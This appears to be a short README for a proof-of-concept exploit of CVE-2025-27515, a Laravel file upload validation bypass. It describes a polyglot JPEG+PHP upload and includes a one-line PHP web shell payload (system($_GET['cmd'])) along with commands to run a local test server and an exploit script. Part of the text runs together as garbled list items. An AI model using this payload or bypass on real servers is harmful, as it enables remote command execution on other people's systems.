
PoC of CVE-2025-27515
A practical demonstration of CVE-2025-27515, a file upload validation bypass vulnerability in Laravel Framework (≤ 12.0.0).
CVE-2025-27515 is a validation bypass that allows attackers to circumvent file upload restrictions when Laravel applications use wildcard validation patterns (files.*). The vulnerability enables uploading of malicious files by exploiting weaknesses in how Laravel processes array-based file uploads.
Severity: Medium/High
CWE: CWE-20 (Improper Input Validation)
The exploit uses a polyglot JPEG+PHP file that:
FF D8 FF E0) to bypass MIME type validation<?php system($_GET['cmd']); ?>).jpg extension to pass file extension checksphp artisan serve
# Access at http://localhost:8000/upload
Python version:
pip3 install -r requirements.txt
python3 exploit.py http://localhost:8000
FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY
By Guaxinim | Cyber Security Research